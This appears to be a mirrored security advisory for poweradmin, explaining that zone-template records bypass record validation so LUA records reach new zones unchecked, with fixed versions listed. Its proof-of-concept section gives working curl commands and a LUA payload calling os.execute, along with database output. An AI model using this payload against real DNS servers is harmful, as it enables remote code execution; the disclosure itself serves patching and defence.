GHSA-C859-JM5R-62X6
Zone-template records bypass record validation, letting LUA code the record form rejects reach new zones
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-C859-JM5R-62X6 divulgada · CVSS 8.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Zone-template records were stored and applied to new zones without the per-type validation the add-record form applies. A user who can manage zone templates and create zones could put record content the record form refuses, such as a LUA record calling `os.execute`, into a template and have it written verbatim into every zone created from it.
Details
`ZoneTemplate::addZoneTemplRecord()` never calls any per-type validator (only permission and non-empty checks), and `DomainManager::addDomain()` applies template records via `$this->backendProvider->addRecordGetId(...)`, a raw insert, instead of `RecordManager::addRecordGetId()`, which is where validation and the SOA/NS permission gate live.
The fix validates template records against their record type when they are added or edited (`ZoneTemplateRecordValidationService`).
PoC
From the original report (GHSA-cpw8-xprw-73x5), against a local instance with a tenant on the shipped "Zone Manager" template:
The independent zone-template route accepts the *unmodified* naive payload (the exact string the add-record form rejects) with zero validation:
$ T2=$(curl -sS -b zm.jar -c zm.jar 'http://127.0.0.1:8123/zones/templates/1/records/add' \
| grep -oE 'name="_token" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b zm.jar -c zm.jar -X POST 'http://127.0.0.1:8123/zones/templates/1/records/add' \
--data "_token=$T2" --data "zone_templ_id=1" \
--data-urlencode 'name=tplrce.[ZONE]' --data "type=LUA" \
--data-urlencode "content=A \";os.execute('id > /tmp/tpl_rce_proof') return '127.0.0.1'\"" \
--data "ttl=60" --data "prio=0" --data "commit=1"HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:11:41 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=efh17lemuan6s3v0v6plgnsttm; path=/; HttpOnly; SameSite=Lax
Location: /zones/templates/1/edit
Content-type: text/html; charset=UTF-8$ sqlite3 -header pa.db "SELECT id,name,type,content FROM zone_templ_records WHERE zone_templ_id=1;"id|name|type|content
1|[ZONE]|SOA|[NS1] [HOSTMASTER] [SERIAL] 28800 7200 604800 86400
2|tplrce.[ZONE]|LUA|A ";os.execute('id > /tmp/tpl_rce_proof') return '127.0.0.1'"Applying the template to a new zone (`zone_master_add` permission) inserts the record verbatim:
$ T3=$(curl -sS -b zm.jar -c zm.jar 'http://127.0.0.1:8123/zones/add/master' \
| grep -oE 'name="_token" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b zm.jar -c zm.jar -X POST 'http://127.0.0.1:8123/zones/add/master' \
--data "_token=$T3" --data-urlencode "domain=viatemplate2.test" \
--data "dom_type=MASTER" --data "owner=7" --data "zone_template=1" --data "submit=1"HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:11:50 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=n4o0bcs9ptejhvkdh72nitpe68; path=/; HttpOnly; SameSite=Lax
Location: /zones/forward
Content-type: text/html; charset=UTF-8$ sqlite3 -header pa.db "SELECT r.id, d.name AS zone, r.name, r.type, r.content FROM records r \
JOIN domains d ON d.id=r.domain_id WHERE d.name='viatemplate2.test' ORDER BY r.id;"id|zone|name|type|content
120|viatemplate2.test|viatemplate2.test|SOA|ns1.provider.net hostmaster@tenant.test 2026072800 28800 7200 604800 86400
121|viatemplate2.test|tplrce.viatemplate2.test|LUA|A ";os.execute('id > /tmp/tpl_rce_proof') return '127.0.0.1'"Round-trip confirmed: no bypass technique was needed for the template path at all.
Impact
Content the record form would reject reaches the zone unchecked. For LUA records this means arbitrary Lua runs inside `pdns_server` whenever LUA records are enabled for the zone, either through the operator's PowerDNS configuration or, on 4.3.x and 4.4.0, through GHSA-cpw8-xprw-73x5.
Split from GHSA-cpw8-xprw-73x5.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 4.2.6, 4.3.5, 4.4.1 | — | — |
4.2.64.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-c859-jm5r-62x6Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
